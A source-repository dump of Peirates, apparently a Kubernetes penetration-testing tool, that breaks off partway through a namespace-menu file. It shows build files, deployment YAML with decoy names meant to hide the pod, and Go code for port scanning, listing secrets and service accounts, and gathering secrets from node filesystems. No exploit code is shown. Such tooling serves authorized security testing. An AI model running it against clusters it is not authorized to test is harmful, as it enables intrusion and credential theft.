├── .dockerignore ├── pkg └── README.md ├── .envrc ├── peirates_logo.jpeg ├── peirates_logo.png ├── test ├── .gosec.config.json ├── README.md └── test.sh ├── .profile ├── cmd ├── README.md └── peirates │ └── peirates.go ├── scripts ├── README.md ├── build.sh ├── exec-into-peirates-pod.sh └── dist.sh ├── Makefile ├── credits.md ├── .vscode └── extensions.json ├── list_secrets.go ├── .gitignore ├── deployments ├── docker-compose.yml ├── deployment-dev.yaml ├── deployment.yaml ├── README.md └── Makefile ├── .devcontainer └── devcontainer.json ├── .github ├── workflows │ └── build.yaml └── gosec.yml ├── SECURITY.md ├── run_external_programs.go ├── kubeapi.go ├── output_to_user.go ├── kubectl_interactive.go ├── misc_utils.go ├── filesystem_manipulation.go ├── decode_jwt.go ├── menu_tcp_portscan.go ├── docs └── README.md ├── node_secrets.go ├── menu_namespaces.go ├── menu_use_auth_cani.go ├── exec_in_pods.go ├── enumerate_dns.go ├── portscan.go ├── commandline.go ├── README.md ├── inject-into-pod-alpha.go ├── menu_cert_auth.go ├── cve-2024-21626.go ├── cloud_detection.go ├── go.mod ├── exec_via_kubelet_api.go ├── curl.go ├── changelog.md ├── json_structs.go ├── enumerate_simple_objects.go ├── menu_serviceaccounts.go ├── attack_create_hostfs_pod.go ├── gcp.go ├── http_utils.go ├── service_account_utils.go ├── menu.go ├── kubectl_wrappers.go ├── LICENSE └── peirates.go /.dockerignore: -------------------------------------------------------------------------------- 1 | .git 2 | .gitignore 3 | peirates 4 | peirates.gz -------------------------------------------------------------------------------- /pkg/README.md: -------------------------------------------------------------------------------- 1 | # Internal 2 | 3 | Private application and library code. 4 | -------------------------------------------------------------------------------- /.envrc: -------------------------------------------------------------------------------- 1 | export GOPATH=$(go env GOPATH) 2 | export USE_GKE_GCLOUD_AUTH_PLUGIN=True -------------------------------------------------------------------------------- /peirates_logo.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/inguardians/peirates/HEAD/peirates_logo.jpeg -------------------------------------------------------------------------------- /peirates_logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/inguardians/peirates/HEAD/peirates_logo.png -------------------------------------------------------------------------------- /test/.gosec.config.json: -------------------------------------------------------------------------------- 1 | { 2 | "global": { 3 | "nosec": "enabled", 4 | "audit": "enabled" 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /.profile: -------------------------------------------------------------------------------- 1 | PS1="\[\033[m\]|\[\033[1;35m\]\t\[\033[m\]|\[\e[1m\]\u\[\e[1;36m\]\[\033[m\]@\[\e[1;36m\]wolkenschloss\[\033[m\]:\[\e[0m\]\[\e[1;32m\][\W]> \[\e[0m\]" -------------------------------------------------------------------------------- /cmd/README.md: -------------------------------------------------------------------------------- 1 | # cmd 2 | 3 | Main application for this project. 4 | 5 | The directory name for each application matches the name 6 | of the executable (e.g., /cmd/peirates). 7 | -------------------------------------------------------------------------------- /scripts/README.md: -------------------------------------------------------------------------------- 1 | # scripts 2 | 3 | Scripts to perform various build, install, analysis, etc operations. 4 | 5 | These scripts keep the root level Makefile small and simple. 6 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | PACKAGES:=$(shell go list ./... | grep -v /vendor/) 2 | 3 | default: lint 4 | 5 | gofmt: 6 | go fmt ./... 7 | 8 | lint: gofmt 9 | $(GOPATH)/bin/golint $(PACKAGES) 10 | $(GOPATH)/bin/gosec -quiet -no-fail ./... 11 | $(GOPATH)/bin/golangci-lint run 12 | 13 | update-deps: 14 | go clean -modcache 15 | go get -u ./... 16 | go mod tidy -------------------------------------------------------------------------------- /credits.md: -------------------------------------------------------------------------------- 1 | # Peirates Developers: 2 | 3 | ## InGuardians Developers 4 | 5 | * Adam Crompton @3nc0d3r 6 | * Dave Mayer 7 | * Faith Alderson @faithanalog 8 | * Jay Beale @jaybeale 9 | 10 | ## Open Source Community Developers 11 | 12 | * Franklin Diaz @devsecfranklin 13 | * Kai Hoffman @kaihoffman 14 | * Ian Lee @IanLee1521 15 | * Dakota Riley 16 | -------------------------------------------------------------------------------- /.vscode/extensions.json: -------------------------------------------------------------------------------- 1 | { 2 | // See http://go.microsoft.com/fwlink/?LinkId=827846 3 | // for the documentation about the extensions.json format 4 | "recommendations": [ 5 | "esbenp.prettier-vscode", // Prettier code formatter 6 | "Endormi.2077-theme", // you big cyberpunk, you 7 | "GitHub.vscode-pull-request-github", // Github 8 | ] 9 | } -------------------------------------------------------------------------------- /list_secrets.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | func listSecrets(connectionString *ServerInfo) { 4 | 5 | secrets, serviceAccountTokens := getSecretList(*connectionString) 6 | for _, secret := range secrets { 7 | println("[+] Secret found: ", secret) 8 | } 9 | for _, svcAcct := range serviceAccountTokens { 10 | println("[+] Service account found: ", svcAcct) 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2023 peirates-dev 2 | # 3 | # SPDX-License-Identifier: GPL-3.0-or-later 4 | 5 | /peirates 6 | .DS_Store 7 | go.sum 8 | *.log 9 | peirates.gz 10 | 11 | # build artifacts 12 | peirates-linux-amd64 13 | peirates-linux-amd64.tar.xz 14 | peirates-linux-arm 15 | peirates-linux-arm.tar.xz 16 | peirates-linux-arm64 17 | peirates-linux-arm64.tar.xz 18 | peirates-linux-386 19 | peirates-linux-386.tar.xz -------------------------------------------------------------------------------- /cmd/peirates/peirates.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "path/filepath" 6 | 7 | "github.com/inguardians/peirates" 8 | ) 9 | 10 | func main() { 11 | if len(os.Args) > 1 && os.Args[1] == "--kubectl" { 12 | os.Args = append([]string{"kubectl"}, os.Args[2:]...) 13 | peirates.ExecKubectlAndExit() 14 | } else if filepath.Base(os.Args[0]) == "kubectl" { 15 | peirates.ExecKubectlAndExit() 16 | } else { 17 | peirates.Main() 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /deployments/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | peirates-dev: 4 | image: peirates-dev 5 | build: 6 | context: .. 7 | dockerfile: build/Dockerfile.dev 8 | container_name: peirates-dev 9 | volumes: 10 | - ./:/usr/local/go/src/peirates 11 | peirates: 12 | image: peirates 13 | build: 14 | context: .. 15 | dockerfile: build/Dockerfile 16 | container_name: peirates 17 | volumes: 18 | - ./:/usr/local/go/src/peirates 19 | -------------------------------------------------------------------------------- /deployments/deployment-dev.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | labels: 5 | app: totally-not-peirates-dev 6 | name: peirates-dev 7 | namespace: totally-innocuous 8 | spec: 9 | replicas: 1 10 | selector: 11 | matchLabels: 12 | app: totally-not-peirates-dev 13 | strategy: {} 14 | template: 15 | metadata: 16 | labels: 17 | app: totally-not-peirates-dev 18 | spec: 19 | containers: 20 | - name: peirates-dev 21 | image: ghcr.io/devsecfranklin/peirates-dev 22 | imagePullPolicy: Always 23 | -------------------------------------------------------------------------------- /deployments/deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | labels: 5 | app: totally-not-peirates 6 | name: peirates 7 | namespace: totally-innocuous 8 | spec: 9 | replicas: 1 10 | selector: 11 | matchLabels: 12 | app: totally-not-peirates 13 | strategy: 14 | type: RollingUpdate 15 | template: 16 | metadata: 17 | labels: 18 | app: totally-not-peirates 19 | spec: 20 | containers: 21 | - name: peirates 22 | image: ghcr.io/devsecfranklin/peirates:latest 23 | imagePullPolicy: Always 24 | -------------------------------------------------------------------------------- /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "periates", 3 | "image": "ghcr.io/devsecfranklin/peirates-dev", 4 | 5 | // Use this environment variable if you need to bind mount your local source code into a new container. 6 | "remoteEnv": { 7 | "LOCAL_WORKSPACE_FOLDER": "${localWorkspaceFolder}" 8 | } 9 | 10 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 11 | // "forwardPorts": [], 12 | 13 | // Use 'postCreateCommand' to run commands after the container is created. 14 | // "postCreateCommand": "docker --version", 15 | 16 | } 17 | -------------------------------------------------------------------------------- /.github/workflows/build.yaml: -------------------------------------------------------------------------------- 1 | name: Go 2 | 3 | on: [pull_request] 4 | 5 | jobs: 6 | build: 7 | 8 | runs-on: ubuntu-latest 9 | strategy: 10 | matrix: 11 | go-version: [ '1.18', '1.19', '1.20.x', '1.21.x', '1.22.x', '1.23.x', '1.24.x' ] 12 | 13 | steps: 14 | - uses: actions/checkout@v3 15 | - name: Setup Go ${{ matrix.go-version }} 16 | uses: actions/setup-go@v4 17 | with: 18 | go-version: ${{ matrix.go-version }} 19 | - name: Install dependencies 20 | run: | 21 | go get . 22 | - name: Build 23 | run: cd scripts && ./build.sh 24 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | * Using [gosec](https://github.com/securego/gosec) to scan for code security issues. 4 | 5 | ## Supported Versions 6 | 7 | All versions of this project are currently being supported with security updates. 8 | 9 | | Version | Supported | 10 | | ------- | ------------------ | 11 | | [![Release](https://img.shields.io/github/release/inguardians/peirates.svg?style=flat-square)](https://github.com/inguardians/peirates/releases/latest) | :white_check_mark: | 12 | 13 | ## Reporting a Vulnerability 14 | 15 | Use [the "issues" tab in this repo](https://github.com/inguardians/peirates/issues) to report security issues. 16 | -------------------------------------------------------------------------------- /scripts/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # Email: peirates-dev 4 | 5 | # v0.2 - 08 May 2023 - Minor tweaks 6 | 7 | echo "Building for Linux on AMD64..." 8 | # For static build, uncomment the below line and comment the one below it. 9 | #GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" $(realpath ../cmd/peirates) 10 | GOOS=linux GOARCH=amd64 go build -tags netgo,osusergo -a --ldflags '-extldflags "-static"' $(realpath ../cmd/peirates) 11 | 12 | exit_code=$? 13 | 14 | if [ $exit_code -eq 0 ] ; then 15 | chmod 755 peirates 16 | mv peirates .. 17 | echo "Final executable at $(realpath ../peirates)" 18 | exit 0 19 | else 20 | exit $exit_code 21 | fi 22 | -------------------------------------------------------------------------------- /run_external_programs.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/exec" 7 | ) 8 | 9 | func runBash() error { 10 | 11 | err := runExtProgram("/bin/bash") 12 | if err != nil { 13 | fmt.Printf("Error running shell: %v\n", err) 14 | } 15 | 16 | return err 17 | } 18 | 19 | func runSH() error { 20 | 21 | err := runExtProgram("/bin/sh") 22 | if err != nil { 23 | fmt.Printf("Error running shell: %v\n", err) 24 | } 25 | 26 | return err 27 | } 28 | 29 | func runExtProgram(program string) error { 30 | 31 | cmd := exec.Command(program) 32 | cmd.Stdin = os.Stdin 33 | cmd.Stdout = os.Stdout 34 | cmd.Stderr = os.Stderr 35 | 36 | err := cmd.Run() 37 | if err != nil { 38 | return err 39 | } 40 | 41 | return nil 42 | } 43 | -------------------------------------------------------------------------------- /kubeapi.go: -------------------------------------------------------------------------------- 1 | // Unused - we may use this if and when we need to make HTTP raw (non-library-based) requests, but we should 2 | // combine this with our HTTP connection libraries. 3 | 4 | package peirates 5 | 6 | import ( 7 | "fmt" 8 | "net/http" 9 | ) 10 | 11 | type RequestConfig struct { 12 | Host string 13 | Port int 14 | Method string 15 | Https bool 16 | IgnoreHttpsErrors bool 17 | } 18 | 19 | func newKubeRequest(path string, cfg RequestConfig) (*http.Request, error) { 20 | var protocol string 21 | 22 | if cfg.Https { 23 | protocol = "https" 24 | } else { 25 | protocol = "http" 26 | } 27 | 28 | return http.NewRequest(cfg.Method, fmt.Sprintf("%s://%s:%d/%s", protocol, cfg.Host, cfg.Port, path), nil) 29 | } 30 | -------------------------------------------------------------------------------- /.github/gosec.yml: -------------------------------------------------------------------------------- 1 | # SPDX-FileCopyrightText: 2023 peirates-dev 2 | # 3 | # SPDX-License-Identifier: GPL-3.0-or-later 4 | 5 | name: gosec 6 | on: 7 | push: 8 | branches: 9 | - main 10 | pull_request: 11 | branches: 12 | - main 13 | jobs: 14 | tests: 15 | runs-on: ubuntu-latest 16 | env: 17 | GO111MODULE: on 18 | steps: 19 | - name: Checkout code into the Go module directory 20 | uses: actions/checkout@v3 21 | - name: Configure Dependencies 22 | run: | 23 | export PATH=$PATH:$(go env GOPATH)/bin 24 | go get -d 25 | - name: Run Gosec Security Scanner 26 | uses: securego/gosec@master 27 | with: 28 | args: '-conf test/.gosec.config.json -track-suppressions ./...' 29 | 30 | -------------------------------------------------------------------------------- /output_to_user.go: -------------------------------------------------------------------------------- 1 | //Build API configuration (svc account token, namespace, API server) -- automated prereq for other steps 2 | 3 | package peirates 4 | 5 | import ( 6 | "os" 7 | ) 8 | 9 | func outputToUser(kubectlOutputString string, logToFile bool, outputFileName string) { 10 | 11 | println(kubectlOutputString) 12 | 13 | if logToFile { 14 | file, err := os.OpenFile(outputFileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600) 15 | if err != nil { 16 | println("[-] Could not open file: ", outputFileName) 17 | return 18 | } 19 | 20 | _, err = file.WriteString(kubectlOutputString) 21 | if err != nil { 22 | println("[-] Could not write to file: ", outputFileName) 23 | return 24 | } 25 | 26 | file.Close() 27 | 28 | } 29 | 30 | } 31 | 32 | func printIfVerbose(message string, verbose bool) { 33 | if verbose { 34 | println(message) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /deployments/README.md: -------------------------------------------------------------------------------- 1 | # deployments 2 | 3 | IaaS, PaaS, system and container orchestration deployment configurations and templates 4 | (docker-compose, kubernetes/helm, mesos, terraform, bosh). 5 | 6 | ## Build Application container 7 | 8 | Here we are creating the container locally, adding a tag to it, and pushing it 9 | into the GHCR container storage. 10 | 11 | ```sh 12 | sudo sysctl -w net.ipv6.conf.all.forwarding=1 # Use when you have IPv6 network issues 13 | export CR_PAT=(pass show ghcr) 14 | echo $CR_PAT | docker login ghcr.io -u YOURUSERNAME --password-stdin 15 | make build 16 | make push 17 | ``` 18 | 19 | ## Verify the container 20 | 21 | Use this command to verify the image made it into GHCR storage. 22 | 23 | ```sh 24 | docker inspect ghcr.io/devsecfranklin/peirates 25 | ``` 26 | 27 | ## Run the container 28 | 29 | This is the command to pull the container from GHCR and run a BASH shell on it. 30 | 31 | ```sh 32 | docker run -it ghcr.io/devsecfranklin/peirates:latest /peirates 33 | ``` 34 | 35 | ## Dev Container 36 | 37 | This is similar to steps above. It results in a much larger container with lots of 38 | files for working on the application. You can mount the dev container directly inside 39 | VSCode. 40 | 41 | ```sh 42 | make dev 43 | make push-dev 44 | ``` 45 | -------------------------------------------------------------------------------- /test/README.md: -------------------------------------------------------------------------------- 1 | # Test 2 | 3 | ## Dependencies 4 | 5 | Run `go mod tidy -e` to keep things up to date. 6 | 7 | To test the dependencies: 8 | 9 | ```sh 10 | go list -u -m all # view available minor and patch upgrades for all direct and indirect dependencies 11 | go get -u ./... # upgrades to the latest or minor patch release 12 | go get -t -u ./... # upgrade test dependencies 13 | go test all # run the following command to test that packages are working correctly after an upgrade 14 | ``` 15 | 16 | Additional external test apps and test data. 17 | 18 | ## Setup 19 | 20 | * Install `direnv` 21 | 22 | ```sh 23 | direnv allow . 24 | ``` 25 | 26 | ## Container 27 | 28 | * Use these steps to create the container images. 29 | * Go to your packages on Github to verify everything is working. 30 | 31 | ```sh 32 | cd deployments 33 | make build 34 | make push 35 | make dev 36 | make push-dev 37 | ``` 38 | 39 | ## Security 40 | 41 | ```sh 42 | go install github.com/securego/gosec/v2/cmd/gosec@latest 43 | # machine readable 44 | # gosec -conf test/.gosec.config.json -track-suppressions -fmt=json -out=test/results.json -stdout ./... 45 | gosec -conf test/.gosec.config.json -track-suppressions ./... 46 | ``` 47 | 48 | Govulncheck 49 | 50 | ```sh 51 | # Install govulncheck 52 | go install golang.org/x/vuln/cmd/govulncheck@latest 53 | # Run govulncheck 54 | govulncheck ./... 55 | ``` 56 | -------------------------------------------------------------------------------- /kubectl_interactive.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | func kubectl_interactive(connectionString ServerInfo, logToFile bool, outputFileName string) error { 9 | println(` 10 | This function allows you to run a kubectl command, with only a few restrictions. 11 | 12 | Your command must not: 13 | 14 | - specify a different service account 15 | - use a different API server 16 | - run for longer than a few seconds (as in kubectl exec) 17 | 18 | Your command will crash this program if it is not permitted. 19 | 20 | These requirements are dynamic - watch new versions for changes. 21 | 22 | Leave off the "kubectl" part of the command. For example: 23 | 24 | - get pods 25 | - get pod podname -o yaml 26 | - get secret secretname -o yaml 27 | 28 | `) 29 | 30 | fmt.Printf("Please enter a kubectl command: ") 31 | input, err := ReadLineStripWhitespace() 32 | 33 | arguments := strings.Fields(input) 34 | 35 | kubectlOutput, _, err := runKubectlSimple(connectionString, arguments...) 36 | kubectlOutputString := string(kubectlOutput) 37 | outputToUser(kubectlOutputString, logToFile, outputFileName) 38 | 39 | if err != nil { 40 | println("[-] error returned running: ", input) 41 | return err 42 | } 43 | kubectlOutputLines := strings.Split(string(kubectlOutput), "\n") 44 | for _, line := range kubectlOutputLines { 45 | println(line) 46 | } 47 | return nil 48 | } 49 | -------------------------------------------------------------------------------- /misc_utils.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "math/rand" 7 | "os" 8 | "strings" 9 | ) 10 | 11 | func ReadLineStripWhitespace() (string, error) { 12 | line, err := ReadLine() 13 | 14 | return strings.TrimSpace(line), err 15 | 16 | } 17 | 18 | // readLine reads up through the next \n from stdin. The returned string does 19 | // not include the \n. 20 | func ReadLine() (string, error) { 21 | reader := bufio.NewReader(os.Stdin) 22 | line, err := reader.ReadString('\n') 23 | if err != nil { 24 | return "", err 25 | } 26 | return line[:len(line)-1], err 27 | } 28 | 29 | // pauseToHitEnter() just gives us a simple way to let the user see input before clearing the screen. 30 | func pauseToHitEnter(interactive bool) { 31 | var err error 32 | if interactive { 33 | var input string 34 | 35 | println("Press enter to continue") 36 | _, err = fmt.Scanln(&input) 37 | if err != nil { 38 | println("Problem with scanln: %v", err) 39 | } 40 | } 41 | } 42 | 43 | // randSeq generates a LENGTH length string of random lowercase letters. 44 | func randSeq(length int) string { 45 | letters := []rune("abcdefghijklmnopqrstuvwxyz") 46 | b := make([]rune, length) 47 | 48 | /* #nosec G404 - the name of the pod created does not need to be random, though we should make the YAML file with mktemp */ 49 | for i := range b { 50 | b[i] = letters[rand.Intn(len(letters))] 51 | } 52 | return string(b) 53 | } 54 | -------------------------------------------------------------------------------- /filesystem_manipulation.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | ) 7 | 8 | func displayFile(filePath string) error { 9 | // Open the file 10 | file, err := os.Open(filePath) 11 | if err != nil { 12 | return fmt.Errorf("failed opening file: %w", err) 13 | } 14 | defer file.Close() 15 | 16 | // Read the file content 17 | content, err := os.ReadFile(filePath) 18 | if err != nil { 19 | return fmt.Errorf("failed reading file: %w", err) 20 | } 21 | 22 | // Print the content of the file 23 | fmt.Println(string(content)) 24 | return nil 25 | } 26 | 27 | func listDirectory(dirPath string) error { 28 | // Open the directory 29 | dir, err := os.Open(dirPath) 30 | if err != nil { 31 | return fmt.Errorf("failed opening directory: %w", err) 32 | } 33 | defer dir.Close() 34 | 35 | // Read the directory contents 36 | files, err := dir.Readdir(-1) 37 | if err != nil { 38 | return fmt.Errorf("failed reading directory: %w", err) 39 | } 40 | 41 | // Print the names of the files and directories 42 | for _, file := range files { 43 | fmt.Println(file.Name()) 44 | } 45 | return nil 46 | } 47 | 48 | func changeDirectory(dirPath string) error { 49 | if err := os.Chdir(dirPath); err != nil { 50 | return fmt.Errorf("failed to change directory: %w", err) 51 | } 52 | return nil 53 | } 54 | 55 | func getCurrentDirectory() (string, error) { 56 | cwd, err := os.Getwd() 57 | if err != nil { 58 | return "", fmt.Errorf("failed to get current directory: %w", err) 59 | } 60 | return cwd, nil 61 | } 62 | -------------------------------------------------------------------------------- /decode_jwt.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "bytes" 5 | "encoding/base64" 6 | "encoding/json" 7 | "fmt" 8 | "strings" 9 | ) 10 | 11 | // JWT structure to hold decoded JWT parts 12 | type JWT struct { 13 | Header string 14 | Payload string 15 | Signature string 16 | RawHeader string 17 | RawPayload string 18 | RawSignature string 19 | } 20 | 21 | // decodeJWT decodes a JWT token into its parts 22 | func decodeJWT(token string) JWT { 23 | parts := strings.Split(token, ".") 24 | 25 | if len(parts) != 3 { 26 | panic("Invalid JWT format") 27 | } 28 | 29 | header := decodeBase64(parts[0]) 30 | payload := decodeBase64(parts[1]) 31 | signature := parts[2] 32 | 33 | jwt := JWT{ 34 | Header: header, 35 | Payload: payload, 36 | Signature: signature, 37 | RawHeader: parts[0], 38 | RawPayload: parts[1], 39 | RawSignature: parts[2], 40 | } 41 | 42 | return jwt 43 | } 44 | 45 | // decodeBase64 decodes a base64url-encoded string 46 | func decodeBase64(str string) string { 47 | decoded, err := base64.RawURLEncoding.DecodeString(str) 48 | if err != nil { 49 | panic(fmt.Sprintf("Error decoding base64url: %s", err.Error())) 50 | } 51 | return string(decoded) 52 | } 53 | 54 | // PrettyPrintPayload pretty prints the decoded JWT payload 55 | func (jwt *JWT) PrettyPrintPayload() string { 56 | var prettyJSON bytes.Buffer 57 | err := json.Indent(&prettyJSON, []byte(jwt.Payload), "", " ") 58 | if err != nil { 59 | return "Error pretty printing JSON" 60 | } 61 | return string(prettyJSON.Bytes()) 62 | } 63 | -------------------------------------------------------------------------------- /menu_tcp_portscan.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "fmt" 5 | "regexp" 6 | ) 7 | 8 | func tcpScan(interactive bool) { 9 | var input string 10 | var matched bool 11 | 12 | for !matched { 13 | println("Enter an IP address to scan or hit enter to exit the portscan function: ") 14 | _, err := fmt.Scan(&input) 15 | if err != nil { 16 | println("Input error: %v", err) 17 | pauseToHitEnter(interactive) 18 | return 19 | } 20 | if input == "" { 21 | pauseToHitEnter(interactive) 22 | return 23 | } 24 | check_pattern_1, err := regexp.Match(`^\s*\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\s*$`, []byte(input)) 25 | if err != nil { 26 | println("Error on regexp match against IP address pattern.") 27 | continue 28 | } 29 | if check_pattern_1 { 30 | // Scan an IP 31 | println("Scanning " + input) 32 | scan_controller(input) 33 | pauseToHitEnter(interactive) 34 | return 35 | } else { 36 | check_pattern_2, err := regexp.Match(`^\s*\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}(\/[0,1,2,3]?\d)\s*$`, []byte(input)) 37 | if err != nil { 38 | println("Error on regexp match against ip/bits CIDR pattern.") 39 | continue 40 | } 41 | if check_pattern_2 { 42 | println("Hidden CIDR scan mode used - this may be slow or unpredictable") 43 | hostList := cidrHosts(input) 44 | for _, host := range hostList { 45 | println("Scanning " + host) 46 | scan_controller(host) 47 | } 48 | pauseToHitEnter(interactive) 49 | return 50 | } else { 51 | println("Error: input must match an IP address or a CIDR formatted network.") 52 | continue 53 | } 54 | 55 | } 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /deployments/Makefile: -------------------------------------------------------------------------------- 1 | help: 2 | echo "This Makefile can create and push container images." 3 | echo 'To use the build and push Makefile targets, you must set the $IMG_REPO environment variable' 4 | echo 'To use the build-dev and push-dev Makefile targets, you must set the $IMG_REPO_DEV environment variable' 5 | 6 | build: 7 | echo "building image and tagging with repo $(IMG_REPO) - this tag is stored in environment variable IMG_REPO" 8 | test $(IMG_REPO) 9 | docker-compose build peirates 10 | @echo "Size of image: $(shell docker image ls| grep ^peirates | grep -v dev | awk -F ' +' '{print $$5}')" 11 | @echo "Tagging image: $(shell docker image ls| grep ^peirates | grep -v dev | awk -F ' +' '{print $$3}')" 12 | docker tag $(shell docker image ls| grep ^peirates | grep -v dev | awk -F ' +' '{print $$3}') $(IMG_REPO):latest 13 | 14 | build-dev: dev 15 | 16 | dev: 17 | echo "building image and tagging with repo $(IMG_REPO_DEV) - this tag is stored in environment varialbe IMG_REPO_DEV" 18 | test $(IMG_REPO_DEV) 19 | docker-compose build peirates-dev 20 | @echo "Size of image: $(shell docker image ls| grep ^peirates-dev | awk -F ' +' '{print $$5}')" 21 | @echo "Tagging image: $(shell docker image ls| grep ^peirates-dev | awk -F ' +' '{print $$3}')" 22 | docker tag $(shell docker image ls| grep ^peirates-dev | awk -F ' +' '{print $$3}') $(IMG_REPO_DEV):latest 23 | 24 | .check-env-vars: 25 | @test $${CR_PAT?Push will fail. You need to export the CR_PAT token for GHCR} 26 | 27 | push: .check-env-vars 28 | test $(IMG_REPO) 29 | docker push $(IMG_REPO):latest 30 | 31 | push-dev: .check-env-vars 32 | test $(IMG_REPO_DEV) 33 | docker push $(IMG_REPO_DEV):latest 34 | -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # Docs 2 | 3 | ## GKE 4 | 5 | NOTE: You may need to allow `140.82.113.34` (GHCR) to pass the firewall 6 | 7 | ```sh 8 | gcloud components install gke-gcloud-auth-plugin || sudo apt-get install google-cloud-sdk-gke-gcloud-auth-plugin 9 | gke-gcloud-auth-plugin --version # verify auth plugin 10 | gcloud container clusters get-credentials YOUR-AWESOME-CLUSTER --region=us-central1 # get your credentials 11 | kubectl get nodes # you should see your nodes 12 | kubectl create namespace totally-innocuous # manually create a namespace 13 | kubectl apply -f deployments/deployment.yaml 14 | ``` 15 | 16 | ```sh 17 | kubectl get deployments -n totally-innocuous 18 | kubectl rollout status deployment/peirates -n totally-innocuous 19 | kubectl get pods -n totally-innocuous 20 | ``` 21 | 22 | You should see this: 23 | 24 | ```sh 25 | NAME READY STATUS RESTARTS AGE 26 | peirates-86bd7889c8-jnf96 1/1 Running 0 6s 27 | ``` 28 | 29 | Now do like so: 30 | 31 | ```sh 32 | k describe pods -n totally-innocuous | grep ^Name: | rev | cut -f1 -d' '| rev # to get pod name 33 | kubectl exec -it (k describe pods -n totally-innocuous | grep ^Name: | rev | cut -f1 -d' '| rev) -n totally-innocuous -- /peirates # run peirates, fish shell 34 | ``` 35 | 36 | ## GKE Dev 37 | 38 | Similar to previous but you can get a full BASH shell. 39 | 40 | ```sh 41 | k create -f deployments/deployment-dev.yaml 42 | k describe pods -n totally-innocuous | grep ^Name: | rev | cut -f1 -d' '| rev | grep dev 43 | kubectl exec -it (k describe pods -n totally-innocuous | grep ^Name: | rev | cut -f1 -d' '| rev | grep dev) -n totally-innocuous -- /bin/ash 44 | ``` 45 | 46 | ## AWS 47 | 48 | Coming Soon. 49 | -------------------------------------------------------------------------------- /node_secrets.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "strings" 5 | "time" 6 | ) 7 | 8 | // When run from a node, we gather non-token secrets. 9 | // 10 | // If we allow the user to gather secrets from container breakouts, we will 11 | // need to track metadata of some sort to distinguish the path to read the data 12 | // or simply store the entire contents. 13 | 14 | type SecretFromPodViaNodeFS struct { 15 | secretName string 16 | secretPath string 17 | podName string // Pod the secret was found in, if its name can be discovered. 18 | DiscoveryTime time.Time // Time the secret was found on the node's filesystem. 19 | DiscoveryMethod string 20 | } 21 | 22 | // AddNewSecretFromPodViaNodeFS adds a new service account to the existing slice, but only if the the new one is unique 23 | // Return whether one was added - if it wasn't, it's a duplicate. 24 | func AddNewSecretFromPodViaNodeFS(secretName, secretPath, podName string, secretsFromPodsViaNodeFS *[]SecretFromPodViaNodeFS) bool { 25 | 26 | // Confirm we don't have this secret already. 27 | // If this were likely to be large, we could use a map keyed on secretName, but this seems an unlikely problem. 28 | for _, secret := range *secretsFromPodsViaNodeFS { 29 | if strings.TrimSpace(secret.secretName) == strings.TrimSpace(secretName) { 30 | return false 31 | } 32 | } 33 | 34 | *secretsFromPodsViaNodeFS = append(*secretsFromPodsViaNodeFS, 35 | SecretFromPodViaNodeFS{ 36 | secretName: secretName, 37 | secretPath: secretPath, 38 | podName: podName, 39 | DiscoveryTime: time.Now(), 40 | DiscoveryMethod: "gathered from node filesystem", 41 | }) 42 | 43 | return true 44 | } 45 | 46 | // 47 | //certificateSecrets *[]CertSecret, nonTokenNonCertSecrets *[]nonTokenNonCertSecrets, 48 | // 49 | -------------------------------------------------------------------------------- /menu_namespaces.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "strings" 7 | 8 | "github.com/ergochat/readline" 9 | ) 10 | 11 | func setUpCompletionNsMenu() *readline.PrefixCompleter { 12 | completer := readline.NewPrefixCompleter( 13 | // [1] List namespaces [list] 14 | readline.PcItem("list"), 15 | // [2] Switch namespace [switch] 16 | readline.PcItem("switch"), 17 | ) 18 | return completer 19 | } 20 | 21 | func interactiveNSMenu(connectionString *ServerInfo) { 22 | 23 | // Set up main menu tab completion 24 | var completer *readline.PrefixCompleter = setUpCompletionNsMenu() 25 | 26 | l, err := readline.NewEx(&readline.Config{ 27 | Prompt: "\033[31m»\033[0m ", 28 | HistoryFile: "/tmp/peirates.history", 29 | AutoComplete: completer, 30 | InterruptPrompt: "^C", 31 | EOFPrompt: "exit", 32 | 33 | HistorySearchFold: true, 34 | // FuncFilterInputRune: filterInput, 35 | }) 36 | if err != nil { 37 | panic(err) 38 | } 39 | defer l.Close() 40 | // l.CaptureExitSignal() 41 | 42 | println(` 43 | [1] List namespaces [list] 44 